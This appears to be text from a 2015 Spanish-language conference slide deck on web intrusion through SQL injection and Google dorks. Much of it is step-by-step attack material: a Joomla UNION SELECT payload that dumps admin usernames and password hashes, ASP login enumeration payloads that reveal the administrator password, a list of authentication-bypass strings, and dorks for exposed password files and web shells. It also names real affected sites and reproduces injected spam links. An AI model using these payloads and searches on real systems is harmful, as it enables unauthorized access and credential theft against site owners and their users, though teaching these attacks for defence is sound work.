20-Marzo2015 II Jornadas de Prevención del Fraude y el Cibercrimen Intrusión Web: Google Dorks e Inyección Sql 2 Inyección SQL en Páginas Web El Hacking Ético es Delito • Artículo 197.3 C.P. El que por cualquier medio o procedimiento y vulnerando las medidas de seguridad establecidas para impedirlo, acceda sin autorización a datos o programas informáticos contenidos en un sistema informático o en parte del mismo o se mantenga dentro del mismo en contra de la voluntad de quien tenga el legítimo derecho a excluirlo, será castigado con pena de prisión de seis meses a dos años. 3 Inyección SQL en Páginas Web Libertad de Cátedra • • • La libertad de cátedra es uno de los derechos incluidos dentro del derecho humano o fundamental de Libertad académica. Es el derecho a ejercer la docencia, en el ámbito de la Educación Superior, con absoluta libertad, es decir, es "la libertad de enseñar y debatir sin verse limitado por doctrinas instituidas". La libertad de llevar a cabo investigaciones y difundir y publicar los resultados de las mismas, la libertad de expresar libremente su opinión sobre la institución o el sistema en que trabaja, la libertad ante la censura institucional y la libertad de participar en órganos profesionales u organizaciones académicas representativas. 4 Inyección SQL en Páginas Web ¿Qué es Inyección SQL? • • • • Es un método de infiltración de código SQL Aprovecha vulnerabilidades de diseño en código web Afecta a cualquier lenguaje que use SqlQueries Es uno de los métodos más usados de intrusión web consulta := "SELECT * FROM usuarios WHERE nombre = '" + nombreUsuario + "';" PELIGRO!!!! Alicia'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '% RESULTADO: SELECT * FROM usuarios WHERE nombre = 'Alicia'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '%'; 5 Inyección SQL en Páginas Web ¿Qué fines alberga? • Casi ninguno bueno • Introducción de código adaware malicioso • Introducción de links a páginas web o publicidad para su indexación en metabuscadores. • Sólo se salva el Hacking Ético EJEMPLO: HOT VIAGRA ILLEGAL PHILLIPINES VIAGRA CIALIS NO RX NEXT DAY CANIDAVIAGRA GENEIRC VIAGRA SALE VIAGRA (.)(.) VIAGRA CIALIS THIRSTY ZIP ... 6 Inyección SQL en Páginas Web ¿Por qué ocurre esto? • • • • • Mal diseño del código de consulta SQL Utilización de código estándar no contrastado Ausencia de actualización de directivas de Seguridad CMS Inexistencia de seguimiento de la vida de la página web Carencia de responsables en seguridad informática. 7 Inyección SQL en Páginas Web Algunas páginas infectadas • • • • Universidades Páginas oficiales de partidos políticos Páginas oficiales de Ayuntamientos Páginas web corporativas y particulares, etc. 8 Inyección SQL en Páginas Web El más Famoso: La Viagra 9 Inyección SQL en Páginas Web Ejemplos interesantes Universidad de Salamanca http://www-incyl.usal.es/index.php?option=com_directorio&task=verperfil&id=62&tipo=egalilea 10 Inyección SQL en Páginas Web Ejemplos interesantes Universidad de Extremadura http://matematicas.unex.es/~brequejo/ 11 Inyección SQL en Páginas Web Ejemplos interesantes Página del Partido Socialista http://www.psoe.es/ambito/nuevayork/forums/index.do?accion=Create&frm=451197&fgr=8250 12 Inyección SQL en Páginas Web Ejemplos interesantes Página del Partido Socialista http://www.psoe.es/ambito/nuevayork/forums/index.do?accion=Create&frm=451197&fgr=8250 13 Inyección SQL en Páginas Web Ejemplos interesantes Página de Unión, Progreso y Democracia 14 Inyección SQL en Páginas Web Ejemplos interesantes Página de Unión, Progreso y Democracia 15 Inyección SQL en Páginas Web Ejemplos interesantes Página de Unión, Progreso y Democracia <div class="runningtext_x"> <p>Instead you a recurring final step in certain no fax payday cash advance <a href=" http://cashadvance6online.com" title="no fax payday cash advance">no fax payday cash advance</a> factors of must be having.Are you love with bad things can include your effects of increased dose of cialis <a href=" http://cialis8online.com" title="effects of increased dose of cialis">effects of increased dose of cialis</a> broken into and submitting an loan.Third borrowers who do business to offer cash so levitra and alpha blockers <a href=" http://levitra6online.com" title="levitra and alpha blockers">levitra and alpha blockers</a> if the more concerned about everywhere.Typically a couple weeks until convenient thing is viagra prescription <a href=" http://wwwwviagracom.com" title="viagra prescription">viagra prescription</a> necessary steps to become unreasonable.No long waiting to almost all http://viagra5online.com <a href="http://viagra5online.com" title="http://viagra5online.com">http://viagra5online.com</a> loan as banking information.Delay when they receive your creditability especially attractive cash advance today <a href="http://wwwcashadvancescom.com" title="cash advance today">cash advance today</a> for them whenever they work.Thankfully there for loan providers our payday loans are http://wwwlevitrascom.com/ <a href="http://wwwlevitrascom.com" title="http://wwwlevitrascom.com/">http://wwwlevitrascom.com/</a> meant to cover a fax anything.That leads to take your payday can even less cialis <a href="http://wwwcialiscomcom.com" title="cialis">cialis</a> for the specific generalization of extension.</p> </div> 16 Inyección SQL en Páginas Web ¿Cómo se hace Sqlinjection? • Se buscan vulnerabilidades en los CMS más populares • • • • Joomla es el “Rey de Reyes” Tampoco se libra Wordpress Ni Drupal, ni Moodle…. Cualquier sitio web en interesante; incluso el tuyo!!: • Es el mejor laboratorio de prácticas • Hay miles de páginas web esperando 17 Inyección SQL en Páginas Web ¿Cómo se hace Sqlinjection? • Se buscan páginas web de CMS no actualizadas • Los “ciberdelincuentes buenos”, buscan “0 Days” • Se inyecta código sql en los campos de captura de datos para provocar una respuesta no contemplada: USER | PASSWORD 18 Inyección SQL en Páginas Web Ejemplos de Sqlinjection • • Joomla 3.2.2 • Fallo detectado en febrero de 2014 • Afectaba al propio núcleo de Joomla • Por tanto funcionaba en todas las versiones anteriores • Buscaba el error en la validación de parámetros web • El error estaba tras consultar el “Weblinks-categories” El objetivo es provocar que Joomla nos muestre su código fuente para sacar lo más importante: USER | PASSWORD 19 Inyección SQL en Páginas Web Ejemplos de Sqlinjection 20 Inyección SQL en Páginas Web Ejemplos de Sqlinjection Una instrucción “Normal”: http://URL/index.php/weblinks-categories?id=1 http://URL/index.php/weblinks-categories?id=X Resultado: SQL=SELECT `t`.`id` FROM `ls41c_tags` AS t INNER JOIN `ls41c_contentitem_tag_map` AS m ON `m`.`tag_id` = `t`.`id` AND `m`.`type_alias` = 'com_weblinks.categories' AND `m`.`content_item_id` IN ( X) 21 Inyección SQL en Páginas Web Ejemplos de Sqlinjection 22 Inyección SQL en Páginas Web Ejemplos de Sqlinjection ATENTOS AHORA: Este error anterior nos ha mostrado una información muy valiosa: El prefijo de las Tablas de la base de datos ...INNER JOIN `ls41c_contentitem_tag_map` ... Como vemos, en nuestro caso es ls41c 23 Inyección SQL en Páginas Web Ejemplos de Sqlinjection Aprovechemos este error para hacer nuestra consulta: • • Consultamos a la Tabla de Usuarios (ls41c_users): Incluiremos el comando UNION SELECT y seleccionaremos los valores de username y password http://URL/index.php/weblinks-categories ?id=0) union select concat(CHAR(35),username,CHAR(35),password,CHAR(35)) from `ls41c_users`-- ) 24 Inyección SQL en Páginas Web Ejemplos de Sqlinjection Esto genera un nuevo error: 25 Inyección SQL en Páginas Web Ejemplos de Sqlinjection Veámoslo con detalle: El usuario es admin La clave está encriptada con un HASH MD5 26 Inyección SQL en Páginas Web Ejemplos de Sqlinjection Sólo nos resta “Deshacer” el MD5: • Mediante la búsqueda de la cadena por internet • Utilizando páginas web para descifrarlo • www.md5online.es 27 Inyección SQL en Páginas Web Otras formas de Sqlinjection Mediante el uso de operadores en los campos de texto En los campos de consulta de datos En los campos de Usuario y Contraseña En cualquier campo que permita introducir datos 28 Inyección SQL en Páginas Web Otras formas de Sqlinjection En la pantalla de Autenticación se nos piden los datos de acceso El código interno que se ejecuta suele ser algo parecido a: Select id from tabla_usuarios where usuario='$usuario' and pass='$pass'; 29 Inyección SQL en Páginas Web Otras formas de Sqlinjection ¿Pero qué pasa si provocamos el error? Select id from tabla_usuarios where usuario=' 'or '1'='1 ' and pass=''or '1'='1'; 30 Inyección SQL en Páginas Web Otras formas de Sqlinjection Ejemplo http://www.XXXX.co.in/Attendance/adminlogin.asp 31 Inyección SQL en Páginas Web Otras formas de Sqlinjection Introducimos la instrucción ' OR '1'='1 32 Inyección SQL en Páginas Web Otras formas de Sqlinjection Y “Voila!!!” 33 Inyección SQL en Páginas Web Otras formas de Sqlinjection Ataques a Logins ASP Comando Dork: inurl:login.asp En los campos de acceso tecleamos ' having 1= 1-- 34 Inyección SQL en Páginas Web Otras formas de Sqlinjection Ataques a Logins ASP Comando Dork: inurl:login.asp En las páginas vulnerables se producirá el siguiente error: 35 Inyección SQL en Páginas Web Otras formas de Sqlinjection Ataques a Logins ASP Comando Dork: inurl:login.asp El Error anterior nos dio el nombre de la tabla y la columna: Ingresamos ' group by Usuario.Clave having 1 = 1-- 36 Inyección SQL en Páginas Web Otras formas de Sqlinjection Ataques a Logins ASP Comando Dork: inurl:login.asp El Error anterior nos dio un nuevo dato de la tabla y la columna: Ingresamos ' group by Usuario.Clave, Usuario.Nombre having 1=1-- 37 Inyección SQL en Páginas Web Otras formas de Sqlinjection Ataques a Logins ASP Comando Dork: inurl:login.asp Ya tenemos el nombre de la Tabla y la Columna “usuario.clave_de_acceso”: Ingresamos ' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso having 1=1-- 38 Inyección SQL en Páginas Web Otras formas de Sqlinjection Ataques a Logins ASP Comando Dork: inurl:login.asp Ya tenemos la Tabla y la Columna “usuario.password”: Ingresamos ' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password having 1=1-- 39 Inyección SQL en Páginas Web Otras formas de Sqlinjection Ataques a Logins ASP Comando Dork: inurl:login.asp La siguiente tabla es “usuario.Tipo_De_Usuario”: Ingresamos ' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario having 1=1-- 40 Inyección SQL en Páginas Web Otras formas de Sqlinjection Ataques a Logins ASP Comando Dork: inurl:login.asp La siguiente tabla es “usuario.Punto_De_Captura”: Ingresamos ' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario, Usuario.Punto_de_Captura having 1=1-- 41 Inyección SQL en Páginas Web Otras formas de Sqlinjection Ataques a Logins ASP Comando Dork: inurl:login.asp La siguiente tabla es “Usuario.ESTATUS”: Ingresamos ' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario, Usuario.Punto_de_Captura, Usuario.ESTATUS having 1=1-- No arroja más Resultados y vuelve al punto de Login 42 Inyección SQL en Páginas Web Otras formas de Sqlinjection Ataques a Logins ASP Comando Dork: inurl:login.asp Ingresamos ' union select 1,1,1,1,1,1,min(Clave_de_Acceso) from Usuario where Clave_de_Acceso > 'a'— Tantos 1 como tablas hemos encontrado!! 43 Inyección SQL en Páginas Web Otras formas de Sqlinjection Ataques a Logins ASP Comando Dork: inurl:login.asp Ya tenemos al Usuario de Administración: Ingresamos ' union select 1,1,1,1,1,1,min(Password) from Usuario where Clave_de_Acceso > 'ADMIN'-- Ya tenemos la Clave! 44 Inyección SQL en Páginas Web Otras formas de Sqlinjection Ya tenemos Acceso a la Web como administrador 45 Inyección SQL en Páginas Web Otros parámetros de Sqlinjection Pueden hacerse otros tipos de consultas ‘ or 1=1 – 1'or’1'=’1 admin’– ” or 0=0 – or 0=0 – ‘ or 0=0 # ” or 0=0 # or 0=0 # ‘ or ‘x’='x ” or “x”=”x ‘) or (‘x’='x ‘ or 1=1– ” or 1=1– or 1=1– ‘ or a=a– ” or “a”=”a ‘) or (‘a’='a “) or (“a”=”a hi” or “a”=”a hi” or 1=1 – hi’ or 1=1 – hi’ or ‘a’='a hi’) or (‘a’='a hi”) or (“a”=”) 46 Inyección SQL en Páginas Web Los «Dorks»: Google Hacking • ¿Qué es un Dork? • • • • Google dorks son combinaciones de operadores, o comandos de búsqueda especiales que se utilizan para extraer información valiosa o sensible desde Google. También se les denomina GoogleDorks Existen multitud de páginas web donde se muestran los comandos Dork de Google La más famosa: http://www.exploit-db.com/google-dorks/ 47 Inyección SQL en Páginas Web Los «Dorks» más típicos • Site: Site:nombrededominio.extension «cadena a buscar» Filetype: • filetype:extensión «nombredelfichero» Inurl: • Inurl:”página a buscar” intitle: • Intitle: “témino a buscar” Intext: • Intext:”Texto a buscar dentro de un fichero” Link: • Link: “enlace web a buscar • • • • • • 48 Inyección SQL en Páginas Web Los «Dorks» más típicos • Site: • Site:nombrededominio.extension «cadena a buscar» site:usal.es "azithromycin“ Nos devolverá todas las páginas pertenecientes al Dominio Usal.es que contengan el término “azithromycin” 49 Inyección SQL en Páginas Web Los «Dorks» más típicos • Filetype: • filetype:extensión «nombredelfichero» filetype:sql “# dumping data for table” “`PASSWORD` varchar” Busca peticiones de contenido en ficheros con extensión “XXX” 50 Inyección SQL en Páginas Web Los «Dorks» más típicos • Inurl: • Inurl:”Texto a buscar” inurl:webarch/mainframe.cgi inurl:intranet filetype:doc confidential • • La primera instrucción busca impresoras de red La segunda instrucción busca documentos confidenciales dentro de una intranet 51 Inyección SQL en Páginas Web Los «Dorks» más típicos • Intext: • Intext:”Texto a buscar dentro de un fichero” filetype:php intext:"!C99Shell v. 1.0 beta" Busca ficheros php que gestionen la Shell C99; C99 es una consola de gestión vía Web 52 Inyección SQL en Páginas Web Los «Dorks» más típicos • Link: • Link: “enlace web a buscar Link:elpais.com Muestra un listado de páginas web que contienen el link de la revista. 53 Inyección SQL en Páginas Web Los «Dorks» más típicos • Combinaciones • inurl:"/root/etc/passwd" intext:"home/*:“ • inurl:/administrator/index.php?autologin=1 • filetype:xls "username | password" 54 Inyección SQL en Páginas Web Veamos algunos Resultados
© Copyright 2024